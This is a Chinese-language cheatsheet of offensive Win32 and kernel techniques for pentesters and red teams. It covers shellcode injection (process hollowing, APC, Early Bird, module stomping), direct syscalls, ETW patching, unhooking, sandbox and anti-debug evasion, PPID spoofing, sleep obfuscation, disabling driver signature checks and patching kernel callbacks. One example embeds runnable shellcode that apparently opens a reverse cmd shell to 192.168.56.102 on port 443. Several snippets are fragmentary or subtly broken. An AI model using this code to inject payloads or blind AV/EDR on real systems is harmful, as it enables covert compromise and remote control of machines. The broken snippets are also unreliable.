Win32 and Kernel abusing techniques for pentesters
由 @UVision 和 @RistBS 为渗透测试人员和红队成员制作的 Win32 与内核滥用技术
开发模式已启用,欢迎任何帮助 :)
DOS_HEADER:PE 的第一个头,包含 MS DOS 消息("This programm cannot be run in DOS mode....")、MZ 头(用于标识 PE 的魔数)以及一些存根内容。IMAGE_NT_HEADER:包含 PE 文件签名、文件头和可选头SECTION_TABLE:包含节头SECTIONS:不是头,但值得了解:这些是 PE 的节区详情:https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266
简单的 PE 解析,用于获取 IAT 和 ILT 绝对地址:
GetModuleHandleA(NULL);BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew(NT_HEADER 的 RVA)OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]IMAGE_DATA_DIRECTORY.VirtualAddress(IMAGE_IMPORT_DIRECTORY 的 RVA)BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress(IMAGE_IMPORT_DESCRIPTOR 的 RVA)EAT 解析 PE 导出的所有函数,也解析 DLL。它定义在 IMAGE_EXPORT_DIRECTORY 结构中:```c
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; // name of DLL
DWORD Base; // first ordinal number
DWORD NumberOfFunctions; // number of entries in EAT
DWORD NumberOfNames; // number of entries in (1) (2)
DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
DWORD AddressOfNames; // Pointer array contains address of function names
DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
请注意,EAT 定义在 DLL 中,而不是在“真正的”PE 中(PE 会使用已加载 DLL 的 EAT 来解析它想要使用的函数的指针)。
### 解析函数地址
**使用函数地址**
你还在等什么?找到这个函数!
**使用序号**
序号是 `AddressOfFunctions` 数组中对应函数地址的**索引位置**。它可用于**检索函数的正确地址**,如下所示:
让我们尝试使用给定的序号 3 来查找对应地址(Addr4)。
- **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
- **AdressOfNameOrdinals** : *2 5 7 3 ... N*
我们要查找的地址位于第 3 个位置(从 0 开始),而我们的序号对应的是该地址的**索引**。
**使用函数名称**
AddressOfNames 数组中的第 N 个元素对应于 AddressOfNameOrdinals 数组中的第 N 个元素:使用给定的名称,您可以检索对应的序号,然后使用该序号继续查找函数地址。
## 导入地址表(IAT)
- PE 加载器不知道哪个地址对应哪个函数:让我们调用 IAT 来拯救我们
- 定义在 IMAGE_IMPORT_DIRECTORY 结构中:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD Characteristics;
DWORD OriginalFirstThunk; // RVA to ILT
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // RVA of imported DLL name
DWORD FirstThunk; // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
总而言之,IAT 是一个表,其中包含指向 PE 从已加载的 DLL(ntdll、kernel32 等)导入的多个函数的指针。
PE 导入的每个 DLL 都有其自己的 ILT。``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)
它包含导入 DLL 中所有函数的名称。
<br>
## 启用 SeDebug 特权
**SeDebug** 特权是 Windows 特权列表中“最抢手”的特权。它允许你“调试”任何授权进程,这可以转化为多种攻击性操作,例如以 ```PROCESS_ALL_ACCESS``` 特权打开句柄。
要在用户模式下启用它,你需要使用一个类似这样的函数:```cpp
void EnableDebugPriv()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);
CloseHandle(hToken);
}
该函数将打开当前进程的令牌,然后将其调整为 SE_PRIVILEGE_ENABLED 特权,该特权与目标权限相对应。
这项技术几年前曾有不俗的绕过成功率;然而,随着 EDR 和其他端点解决方案数量的增加,应尽可能避免写入磁盘。
你可以通过在一个内存区域中分配与文件大小相等的空间,在内存中执行某些原始二进制文件:```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);
<br>
# 代码注入技术
## CreateRemoteThread 注入
简单地将你的 shellcode 写入目标进程内先前分配的内存空间。(不符合 OPSEC)
> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp
## 进程镂空(Process Hollowing)
进程镂空由以下几个步骤组成:
- 以挂起模式创建目标进程(被“镂空”的进程):需要对其进行修改
- 从其 PEB 中解除目标进程的映射(你必须先声明此结构)
- 将新 exe 的内容写入该进程:头部 + 内容
- 解析并应用重定位表
- 让进程在其线程中继续运行
- 享受成果
> 完整 POC 可在此处找到:https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
## APC 队列技术
将你的 shellcode 注入进程中的所有可用线程,然后使用 ```QueueUserAPC()``` 函数来请求一次 APC 调用。当受感染进程中的线程数量不多时,该技术可能不太可靠。
> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp
## 早鸟(Early Bird)
与 APC 队列注入类似,此处 APC 调用必须设置在挂起进程中。随后恢复所创建进程的主线程;该技术的主要优势是:避免将 shellcode 写入正在运行的进程,从而更不容易被 AV/EDR 检测到。
> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp
## 反射式 DLL 注入(Reflective DLL Injection)
与“静态”DLL 注入(通过使用 DLL 文件)一样,你可以通过将自定义 DLL 在内存中进行反射,将其实注入到大多数进程中。尽管如今这种方式已相当容易被标记,但它仍具有轻松绕过某些 AV/EDR 产品的优势。
你必须首先分配内存并做一些重定位工作,才能使其正常运行。
关于该技术的著名 POC 由 stephenfewer 发布:https://github.com/stephenfewer/ReflectiveDLLInjection
## DLL 注入
你可以将存储在 DLL 中的某些代码注入到远程进程中。不幸的是,EDR 产品很可能会轻松捕获它,尤其是当恶意 DLL 触及磁盘时。
> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp
## 进程替身(Process Doppelganging)
进程替身直到几年前还是一种以某些巧妙方式启动自己的 payload(载荷)的未被检测到的方法。它由 Tal Liberman 和 Eugene Kogan 在 BlackHat 2017 上演示,可以看看他们的精彩工作:https://www.youtube.com/watch?v=Cch8dvp836w
它是进程镂空技术之前的“中间”步骤:PE 镜像实际上在执行前会被覆盖,因此 WindowsLoader 会替我们完成进程镂空(是不是很酷?)。
Hasherezade 制作了一些关于该技术的很酷的 POC,可在此处获取:https://github.com/hasherezade/process_doppelganging
## 纤程(Fibers)
纤程可以被定义为 ```cooperatively
threads (https://nullprogram.com/blog/2019/03/28/)```。它允许主程序通过这种新线程类型来执行 shellcode。
> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp
## MapView 代码注入
该技术允许你将恶意进程中的内存区段视图与另一个远程进程共享,远程进程将执行存储在该视图中的 shellcode。可以通过使用 NtCreateSection/NtMapViewOfSection 来完成,从而避免使用 WriteProcessMemory() 或 VirtualAlloc() 等被重点监控的过程(不过,NtMapViewOfSection 也可能被监控)。
代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp
## 模块踩踏(Module Stomping)
该技术使你的 beacon 由磁盘上的某个模块作为后盾。```c
CHAR moduleName[] = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);
DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection += 0x1000 * 0x2;
RXSection += 0xc;
char* ptr = ( char* )RXSection;
为了检测模块踩踏(尤其是针对 Cobalt Strike),有人发布了一个名为 DetectCobaltStomp 的扫描器,以突出该技术的部分 IoC;但 Brute Ratel 的作者 设法改进了原始技术。
只需用新函数地址替换原始函数地址(通过 GetProcAddress 获取)。该技术由作者详细描述:https://idov31.github.io/2022-01-28-function-stomping/
内联 Hook 是最基本的函数挂钩方式:它只是将 API 调用重定向到自己的函数(跳转)。
代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
通过将相应的函数地址修改为指向你自己函数的指针,你可以让程序执行你自己的代码。
可以通过以下几个步骤完成:
代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp
有几种技术可用于隐藏对 Win32 API 的调用,以下是一些示例:
char[] 数组将你的函数/DLL 名称拆分成多个字符```cpp
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte> 你甚至可以将此技巧与某些 ASCII 字符代码转换结合使用。
## 手动解析函数
你可以手动解析指向 kernel32、ntdll 等中任意函数的指针。
- 首先,根据真实函数头声明你的函数模板:```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
> 不要犹豫,将此技术与一些字符串混淆技术结合使用,以避免明文传递真实的函数名。
## Win32 API 哈希
你可以使用某种哈希算法(最常用的是 djb2)对 API 函数调用进行哈希来隐藏它们,但要注意某些特殊函数可能发生哈希碰撞。然后将此技术与在 EAT 中直接解析地址相结合,让逆向工程师们哭去吧 :)
<br>
# EDR/端点绕过
## 直接系统调用
大多数 EDR 产品会在用户态挂钩 win32 API 调用(PatchGuard 极大地降低了内核挂钩的可用性)。为了避免这些挂钩,你可以直接调用与 API 函数等效的 Nt() 函数。
-```asm
.code
SysNtCreateFile proc
mov r10, rcx //syscall convention
mov eax, 55h //syscall number : in this case it's NtCreateFile
syscall //call nt function
ret
SysNtCreateFile endp
end
在此表中找到正确的系统调用编号:https://j00ru.vexillium.org/syscalls/nt/64/
NTSTATUS 构建函数原型```cpp
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);- 解析 NT 地址```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
C++/C 通常比同等高级语言更容易被 AV/EDR 产品标记:请使用 Go、Rust 或其他语言来制作你的最佳模板。
只需通过应用正确的函数调用,即可(重新)挂钩你的已挂钩函数:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
要检测钩子,首先需要使用 LoadLibrary 获取 NTDLL 的基地址,然后解析 PE 头以定位 EAT(IMAGE_EXPORT_DIRECTORY)及其偏移量,其中包含所有重要信息(导出函数 + 名称)。只需在遍历导出函数时解析函数名称和地址,并应用以下 if 语句对函数进行分类
> **⚠️** : 某些功能存在误报,我建议你自行检测它们 :```c
if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
if 语句,检查 functionName 的前 4 个字节是否等于 mov r10, rcx; mov eax, ##,即 syscall 存根的开头```c
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c
## 修补 ETW
Windows 事件跟踪(ETW)是一个低层级的日志记录 API,可用于调试/记录内核和用户态进程。它最早在 Windows 2000 中实现,但从 Windows XP 开始才真正提供实时监控。
ETW API 可通过 Microsoft 提供的头文件获取:https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/
在渗透测试操作中,你应该通过修补它来关注此功能:最常用的方法是将任意的 ```ret``` 操作码写入 ETW 事件写入函数(```EtwEventWrite```),以避免日志被写入某个地方。
代码示例://
## 沙箱绕过
沙箱被 AV/EDR 广泛用于在真正执行你的程序之前测试某些 API 调用和其他代码部分。有几种技术可以规避这种工具,下面是一些例子:
- 等待。说真的。诸如 `Sleep()` 或 `time.sleep()` 或等效功能可以做到这一点,在执行真正的 shellcode 之前等待几秒钟。
- 尝试分配大量内存(malloc),例如 100000000 字节。
- 尝试检测你是否真的处于沙箱(VM)环境中:测试打开的进程、文件和其他可疑事物。
- 尝试解析一个假的(无法工作的)URL:许多杀毒软件产品会返回虚假页面。
- 使用奇怪且很少使用的 API 调用,例如 `VirtualAllocExNuma()`,大多数沙箱无法模拟此类调用。```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
这不是真正的 AV 规避技术,但对于避免被逆向工程师轻易反编译仍然很有用。有很多方法可以检测调试器或让调试器崩溃,以下是其中一些:
标志检测方式(Flags way)
你可以使用 IsDebuggerPresent()(Win32)或直接调用 NtQueryInformationProcess()(文档不太完善)来检查调试标志。
句柄检测方式(Handles way)
尝试使用 CloseHandle() API 关闭无效(缺失)的句柄。调试器会尝试捕获该异常,而这很容易被检测到:```cpp bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle { __try { CloseHandle((HANDLE)0xDEADBEEF); return false; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return true; } }
**ASM 方式**
尝试发出一个 INT 3 调用(ASM):它相当于软件断点,会触发调试器。检测调试器的方法还有很多,其中很多已经编译在:https://anti-debug.checkpoint.com/
## VirtualProtect 技术
通过使用一些 `VirtualProtect()` 的技巧,你可以轻松避免在内存中被标记:在 `PAGE_EXECUTE_READWRITE` 和 `PAGE_READWRITE`(不太可疑)之间切换,以避免触发你最喜欢的 AV。
## Fresh Copy Unhook
通过直接用从磁盘映射的全新 ntdll 替换“被挂钩的”ntdll 来避免钩子。
代码示例:// to add
## Hells Gate
为了避免使用硬编码的系统调用,Hell's Gate(Hells Gates?)通过解析 EAT(将内存字节与系统调用操作码进行比较)来动态检索它们。原始 PoC 由伟大的 VX-Underground 团队制作,可在此处找到:https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z
另一个示例:https://github.com/am0nsec/HellsGate
## Heavens Gate
使用 Wow64 将 64 位载荷注入 32 位加载器中。这对于绕过某些 AV/EDR 很有用,因为 Wow64 会让你避免在用户态被捕获。
该技术最著名的版本由 MSF 团队创建,在此查看他们的出色工作:https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm
## CreateThreadPoolWait
通过滥用 CreateThreadPoolWait()(它可以接受指向回调函数的指针),你可以通过该过程执行你的 shellcode。大量类似的技术(使用回调函数指针)可在以下网址获得:http://ropgadget.com/posts/abusing_win_functions.html
示例:```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
#include <windows.h>
#include <threadpoolapiset.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main()
{
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
return 0;
}
通过挂起远程进程中的线程,然后将其 RIP 寄存器(如果在 x86 中则为 EIP)替换为你自己的 shellcode 地址,从而劫持该线程。
当一个可疑/异常进程启动在“合法”或无人值守的父进程之下时,它会变得非常可疑。试想一个恶意的 Word 宏部署了一个 powershell 进程:这很奇怪,对吧?
PPID 欺骗可以通过允许你修改所生成进程的父进程 ID(PPID)来避免这种情况。```cpp #include <windows.h> #include <TlHelp32.h> #include
//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}
## Process Instrumentation Callback
Process Instrumentation Callback 被定义为 `ProcessInstrumentationCallback` 标志(`0x40`),安全产品通过注册回调来[检测潜在的直接系统调用](https://winternl.com/detecting-manual-syscalls-from-user-mode/)的调用,以检查 `syscall` 指令是否来自可执行映像而不是 NTDLL。要针对我们的进程绕过它,只需将 `Callback` 设置为 `NULL`。```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;
InstrumentationCallbackInfo.Version = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;
NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
它仍然被微软视为“未文档化”,但 Alex Ionescu 在这里对其进行了文档化,Everdox 也在这里做过同样的事。
使用 HeapWalk 遍历堆,然后加密分配的内存:```c
VOID HeapEncryptDecrypt() {
PROCESS_HEAP_ENTRY HeapWalkEntry;
SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) );
while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) {
if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) {
XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData );
}
}
}
> 更多信息请访问:https://www.arashparsa.com/hook-heaps-and-live-free/
## 睡眠混淆
围绕睡眠混淆出现了许多采用不同机制(UM APCs、TP 等)的 PoC,这里我们以 [Ekko](https://github.com/Cracked5pider/Ekko/) 为例,它是最容易理解的 PoC。
Ekko 的 ROP 链非常简单:它将内存保护更改为 `RW`,使用实现了 RC4 的 `SystemFunction032` 加密区域,通过 `WaitForSingleObject` 睡眠,解密区域,并将保护再次切换为 `RWX`。最后,它通过 `CreateTimerQueueTimer` 将所有 `CONTEXT` 排入队列。
> 一些扫描器如 [TickTock](https://github.com/WithSecureLabs/TickTock) 或 [Patriot](https://github.com/joe-desimone/patriot) 已被发布用于检测这种技术,但你可以通过在 NTDLL 中使用 gadget 构建一个跳板(trampoline)到 `NtContinue`,并替换 ROP 链中的 `Rip` 寄存器来规避它们。
<br>
# 驱动程序编程基础
## 基本概念
驱动程序用于在内核模式下执行代码,而不是在用户模式下。这是一种强大的技术,可以绕过 AV/EDR 设置的所有用户模式钩子和监控。它还可以用于绕过内核回调和其它内核监控。
任何驱动程序代码都必须经过验证(任何警告都应视为错误),以确保其不会崩溃(你不想在渗透测试期间导致 BSOD,对吧?)。
几年前,微软决定禁止未签名的驱动程序在其操作系统上运行:你必须先禁用它才能加载自己的驱动程序,或者利用任何漏洞(如 https://github.com/hmnthabit/CVE-2018-19320-LPE)来禁用驱动程序签名。
在实际渗透测试中,你必须找到易受攻击的驱动程序并加以利用:)
## 系统服务调度表(SSDT)
SSDT,即系统服务调度表,是一张(显而易见的)表,可以通过其当前索引解析相应的 Nt 函数。当任何用户模式调用发生时,按如下方式解析:
- ```OpenProcess```(调用 Win32 API 函数)
- ```NtOpenProcess```(在 ntdll.dll 中解析)```asm
mov r10, rcx
mov eax, 26
syscall
ret
ntdll 包含每个 Nt 函数的系统调用过程
SSDT 在 服务描述符表 中定义:```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;
SSDT 经常被 rootkit 挂钩,因为可以将其对应地址修改为它们自己的函数。**Patchguard** 已禁用这种可能性,除非存在某些内部漏洞。
> 如今许多杀毒软件产品也在使用这一技巧,可能使用的技术与恶意黑客相同;)
## 驱动程序入口
驱动程序入口过程定义如下:```cpp
#include <ntddk.h>
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
return STATUS_SUCCESS;
}
在 DriverObject 和 RegistryPath 参数上使用 UNREFERENCED_PARAMETER() 宏非常重要,除非稍后通过添加一些代码来引用它们。```cpp
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
## 输入输出
使用 MajorFunction `IRP_MJ_CREATE` 和 `IRP_MJ_CLOSE` 作为“中断”,从客户端与你的驱动程序进行通信。```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
然后定义你的 CreateClose 函数 :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);
DbgPrint("[+] Hello from FirstDriver CreateClose\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
Complete sample code here : //
## 与驱动程序通信
用户模式应用程序通过调用 DeviceIoControl 向驱动程序发送 IOCTL,这在 Microsoft Windows SDK 文档中已有描述。调用 DeviceIoControl 会使 I/O 管理器创建一个 IRP_MJ_DEVICE_CONTROL 请求,并将其发送到最顶层的驱动程序(https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)
用户态应用程序必须使用 DeviceIoControl(ioapiset.h)函数来与驱动程序通信。
它将用于向其 **Device** 对象发送各种请求。
简单示例代码此处://todo
## 驱动程序签名
如 [General concepts](#general-concepts) 部分所述,驱动程序在安装到 Windows 系统之前必须先签名。尽管你必须使用某个驱动程序或内核漏洞来绕过它(例如 Gigabyte 驱动程序 CVE),你仍然可以手动禁用它:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON
然后重启您的计算机。显然,您需要在要执行这些命令的机器上拥有本地管理员权限。由于需要重启,这完全不是 OPSEC。
ObRegisterCallbacks (wdm.h) 允许您定义“自定义”回调,这些回调可用于在特定操作(如 CreateProcess/OpenProcess(句柄创建))触发时修改用户态应用程序的行为。
基本上,Ob 回调通过 OB_OPERATION_REGISTRATION 数组定义,该数组将被填充 OB_CALLBACK_REGISTRATION 结构体(其中填充了回调)。
用于在 OpenProcess/CreateProcess 上触发的示例:```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };
obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed
NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, ®_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {
DbgPrint("[+] Registering callbacks !\n");
}
**process_ob_pre_op_callbacks** 是一个用户定义函数,当回调被拦截时会被调用,因此可以拒绝或允许该操作。```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {
if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}
注意:My_PROCESS_ALL_ACCESS 可以定义为 #define My_PROCESS_ALL_ACCESS (0x1FFFFF)(win32 十六进制代码)。
如何修补 ObCallbacks: 有多种方式可以修补它们,但可能实现此目标的两种最常见方法是编写一个具有类似 "nop-nop-nop-ret" 模式的 obcallback 函数,或者从 _CALLBACK_ENTRY_ITEM 项中擦除 obcallback 函数指针。请注意,这些技术实际上可能触发 PatchGuard,因此在实际交战中请务必注意。
